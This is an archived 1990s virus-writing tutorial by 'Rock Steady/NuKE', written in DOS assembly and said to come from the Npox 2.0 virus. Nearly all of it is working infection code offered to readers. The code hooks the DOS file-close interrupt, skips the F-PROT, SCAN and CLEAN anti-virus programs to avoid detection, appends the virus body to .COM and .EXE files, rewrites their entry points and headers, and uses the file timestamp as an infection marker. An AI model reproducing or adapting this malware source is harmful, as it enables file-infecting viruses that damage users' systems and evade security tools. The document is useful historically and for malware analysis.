home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / virus / virusprogramming / rstut004.txt < prev    next >
Encoding:
Text File  |  1996-04-16  |  19.4 KB  |  256 lines

  1.                         ****************************                          
  2.                         **  Infection on Closing  **                          
  3.                         **                        **                          
  4.                         **  By Rock Steady/NuKE   **                          
  5.                         ****************************                          
  6.  
  7. This routine goes out for a few people that had trouble hacking this          
  8. routine themselves... I kinda like it, its my very OWN, no Dark Avenger       
  9. hack, it is VERY straight forward, and kinda simple...I was not going         
  10. to put this here, but since I `Promised' people and left them hanging         
  11. with `Wait for IJ#5, I guess I owed you it... huh?'                           
  12.                                                                               
  13. Again this code comes right out of Npox 2.0, its need, simple fast,           
  14. cool, and it works, Npox is your example, I heard MANY MANY complaints        
  15. with other `Virus writing guides' Meaning they explained the code but         
  16. sometimes the arthur himself never check if the code was good, as he          
  17. may have modified it, and not test it... or whatever reason... Anyhow         
  18.                                                                               
  19. ------------------                                                            
  20. Okay once you intercepted the Int21h/ah=3Dh function you make it jump         
  21. here...                                               
  22.                                                                               
  23. closing_file:   cmp     bx,0h                   ;Handle=0?                    
  24.                 je      closing_bye             ;if equal leave               
  25.                 cmp     bx,4h                   ;Handle > 4                   
  26.                 ja      close_cont              ;if YES ,then JUMP!           
  27. closing_bye:    jmp     dword ptr cs:[int21]    ;Leave, no interest to us     
  28.                                                                               
  29. The whole point of the above code is that DOS contains 5 predefined           
  30. Handlers, 0 -> 4, Basically, those handles are the NULL, CON, AUX             
  31. COMx, LPTx handles... So we surely do not need to continue once we            
  32. encounter that...                                                             
  33.                                                                               
  34. close_cont:     push    ax                                                    
  35.                 push    bx                                                    
  36.                 push    cx                                                    
  37.                 push    dx                                                    
  38.                 push    di                                                    
  39.                 push    ds                                                    
  40.                 push    es                                                    
  41.                 push    bp                                                    
  42.                                                                               
  43. Our biggest problem is how do we know if this file is a .COM or .EXE or       
  44. simply just another dumb data file? We need this info before we can           
  45. try to infect it... We do this by getting DOS's "Lists of List" this          
  46. will give us all INFO need on the File Handle Number we have in BX!           
  47. and we do that like so...                                                     
  48.                                                                               
  49.                 push    bx                      ;Save File Handle             
  50.                 mov     ax,1220h                ;Get the Job File Table       
  51.                 int     2fh                     ;(JFT)                        
  52.                                                                               
  53. This will give us the JFT for the CURRENT File handle in BX, which            
  54. is given thru ES:DI Then we use this information to get the Address of        
  55. the System File Table!                                                        
  56.                                                                               
  57.                 mov     ax,1216h        ;Get System File Table (List)         
  58.                 mov     bl,es:[di]      ;system file table entry number       
  59.                 int     2fh                                                   
  60.                 pop     bx              ;restore the Handle                   
  61.                                                                               
  62.                 add     di,0011h                                              
  63.                 mov     byte ptr es:[di-0fh],02h                              
  64.                                                                               
  65.                 add     di,0017h                ;Jump to the ASCIIZ string    
  66.                 cmp     word ptr es:[di],'OC'   ;Is it a .COM file?           
  67.                 jne     closing_next_try        ;Next cmp...                  
  68.                 cmp     byte ptr es:[di+2h],'M'                               
  69.                 jne     pre_exit                ;Nope exit                    
  70.                 jmp     closing_cunt3           ;.COM file continue           
  71.                                                                               
  72. closing_next_try:                                                             
  73.                 cmp     word ptr es:[di],'XE'   ;Is it a .EXE file?           
  74.                 jne     pre_exit                ;No, exit                     
  75.                 cmp     byte ptr es:[di+2h],'E'                               
  76.                 jne     pre_exit                ;No, exit                     
  77.                                                                               
  78. If it is an .EXE file, check if it is F-PROT or SCAN, see F-PROT when         
  79. started up, Opens itself, closes itself, etc... So that a dumb                
  80. virus will infect it, and then the CRC value changes and F-PROT               
  81. screams... haha... Fuck-Prot! is the name...                                  
  82.                                                                               
  83. closing_cunt:   cmp     word ptr es:[di-8],'CS'                               
  84.                 jnz     closing_cunt1              ;SCAN                      
  85.                 cmp     word ptr es:[di-6],'NA'                               
  86.                 jz      pre_exit                                              
  87.                                                                               
  88. closing_cunt1:  cmp     word ptr es:[di-8],'-F'                               
  89.                 jnz     closing_cunt2              ;F-PROT                    
  90.                 cmp     word ptr es:[di-6],'RP'                               
  91.                 jz      pre_exit                                              
  92.                                                                               
  93. closing_cunt2:  cmp     word ptr es:[di-8],'LC'                               
  94.                 jnz     closing_cunt3                                         
  95.                 cmp     word ptr es:[di-6],'AE'    ;CLEAN                     
  96.                 jnz     closing_cunt3                                         
  97.                                                                               
  98. pre_exit:       jmp     closing_nogood                                        
  99.                                                                               
  100. The REST is pretty much the EXACT same on `how' you'd infect a normal         
  101. file, I'll leave it for you to go thru it... The hardest part is              
  102. OVER! Only trick part is, the ending... Remember to Close the file            
  103. and then do an IRET, you don't leave control to dos, as you only needed       
  104. to close it, so do it... OR DON'T close it and return to DOS, as dos          
  105. will close it, just DON'T CLOSE IT TWICE!!!!                                  
  106.                                                                               
  107. closing_cunt3:  mov     ax,5700h                        ;Get file Time        
  108.                 call    calldos21                                             
  109.                 mov     al,cl                                                 
  110.                 or      cl,1fh                                                
  111.                 dec     cx                              ;60 Seconds           
  112.                 xor     al,cl                                                 
  113.                 jz      closing_nogood                  ;Already infected     
  114.                                                                               
  115.                 push    cs                                                    
  116.                 pop     ds                                                    
  117.                 mov     word ptr ds:[old_time],cx       ;Save time            
  118.                 mov     word ptr ds:[old_date],dx                             
  119.                                                                               
  120.                 mov     ax,4200h                        ;jmp beginning of     
  121.                 xor     cx,cx                           ;file...              
  122.                 xor     dx,dx                                                 
  123.                 call    calldos21                                             
  124.                                                                               
  125.                 mov     ah,3fh                          ;Get first 1b byte    
  126.                 mov     cx,1Bh                                                
  127.                 mov     dx,offset buffer                                      
  128.                 call    calldos21                                             
  129.                                                                               
  130.                 jc      closing_no_good                 ;error?               
  131.                 mov     ax,4202h                        ;Jmp to the EOF       
  132.                 xor     cx,cx                                                 
  133.                 xor     dx,dx                                                 
  134.                 call    calldos21                                             
  135.                                                                               
  136.                 jc      closing_no_good                                       
  137.                 cmp     word ptr ds:[buffer],5A4Dh      ;.EXE file?           
  138.                 je      closing_exe                     ;Yupe then jmp        
  139.                 mov     cx,ax                                                 
  140.                 sub     cx,3h                                                 
  141.                 mov     word ptr ds:[jump_address+1],cx  ;Figure out the      
  142.                 call    infect_me                        ;jmp for .com        
  143.                                                                               
  144.                 jc      closing_no_good                                       
  145.                 mov     ah,40h                          ;Write it to file     
  146.                 mov     dx,offset jump_address                                
  147.                 mov     cx,3h                                                 
  148.                 call    calldos21                                             
  149. closing_no_good:                                                              
  150.                 mov     cx,word ptr ds:[old_time]       ;Save file time       
  151.                 mov     dx,word ptr ds:[old_date]       ;& date               
  152.                 mov     ax,5701h                                              
  153.                 call    calldos21                                             
  154.                                                                               
  155. closing_nogood: pop     bp                                                    
  156.                 pop     es                                                    
  157.                 pop     ds                                                    
  158.                 pop     di                                                    
  159.                 pop     dx                                                    
  160.                 pop     cx                                                    
  161.                 pop     bx                                                    
  162.                 pop     ax                                                    
  163.                 jmp     dword ptr cs:[int21]                                  
  164.                                                                               
  165. AS you see the above, we DIDN'T close the file, so we leave dos to do it.     
  166. The bottom is for infecting .exes...                                          
  167.                                                                               
  168. closing_exe:    mov     cx,word ptr cs:[buffer+20]      ;Save the original    
  169.                 mov     word ptr cs:[exe_ip],cx         ;CS:IP & SS:SP        
  170.                 mov     cx,word ptr cs:[buffer+22]                            
  171.                 mov     word ptr cs:[exe_cs],cx                               
  172.                 mov     cx,word ptr cs:[buffer+16]                            
  173.                 mov     word ptr cs:[exe_sp],cx                               
  174.                 mov     cx,word ptr cs:[buffer+14]                            
  175.                 mov     word ptr cs:[exe_ss],cx                               
  176.                                                                               
  177.                 push    ax                                                    
  178.                 push    dx                                                    
  179.                 call    multiply                                              
  180.                 sub     dx,word ptr cs:[buffer+8]                             
  181.                 mov     word ptr cs:[vir_cs],dx                               
  182.                 push    ax                                                    
  183.                 push    dx                                                    
  184.                 call    infect_me                                             
  185.                 pop     dx                                                    
  186.                 pop     ax                                                    
  187.                 mov     word ptr cs:[buffer+22],dx                            
  188.                 mov     word ptr cs:[buffer+20],ax                            
  189.                 pop     dx                                                    
  190.                 pop     ax                                                    
  191.                 jc      closing_no_good                                       
  192.                                                                               
  193.                 add     ax,virus_size                                         
  194.                 adc     dx,0                                                  
  195.                                                                               
  196.                 push    ax                                                    
  197.                 push    dx                                                    
  198.                 call    multiply                                              
  199.                 sub     dx,word ptr cs:[buffer+8]                             
  200.                 add     ax,40h                                                
  201.                 mov     word ptr cs:[buffer+14],dx                            
  202.                 mov     word ptr cs:[buffer+16],ax                            
  203.                 pop     dx                                                    
  204.                 pop     ax                                                    
  205.                                                                               
  206.                 push    bx                                                    
  207.                 push    cx                                                    
  208.                 mov     cl,7                                                  
  209.                 shl     dx,cl                                                 
  210.                                                                               
  211.                 mov     bx,ax                                                 
  212.                 mov     cl,9                                                  
  213.                 shr     bx,cl                                                 
  214.                                                                               
  215.                 add     dx,bx                                                 
  216.                 and     ax,1FFh                                               
  217.                 jz      close_split                                           
  218.                 inc     dx                                                    
  219. close_split:    pop     cx                                                    
  220.                 pop     bx                                                    
  221.                                                                               
  222.                 mov     word ptr cs:[buffer+2],ax                             
  223.                 mov     word ptr cs:[buffer+4],dx                             
  224.                                                                               
  225.                 mov     ah,40h                                                
  226.                 mov     dx,offset ds:[buffer]                                 
  227.                 mov     cx,20h                                                
  228.                 call    calldos21                                             
  229.                                                                               
  230. closing_over:   jmp     closing_no_good                                       
  231.                                                                               
  232. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-    
  233. ;                   Infection Routine...                                      
  234. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-    
  235. infect_me       proc                                                          
  236.                 mov     ah,40h                                                
  237.                 mov     dx,offset init_virus                                  
  238.                 mov     cx,virus_size                                         
  239.                 call    calldos21                                             
  240.                                                                               
  241.                 jc      exit_error                      ;Error Split          
  242.                 mov     ax,4200h                                              
  243.                 xor     cx,cx                           ;Pointer back to      
  244.                 xor     dx,dx                           ;Top of file!         
  245.                 call    calldos21                                             
  246.                                                                               
  247.                 jc      exit_error                      ;Split Dude...        
  248.                 clc                                     ;Clear carry flag     
  249.                 ret                                                           
  250. exit_error:                                                                   
  251.                 stc                                     ;Set carry flag       
  252.                 ret                                                           
  253. infect_me       endp                                                          
  254.  
  255.  
  256.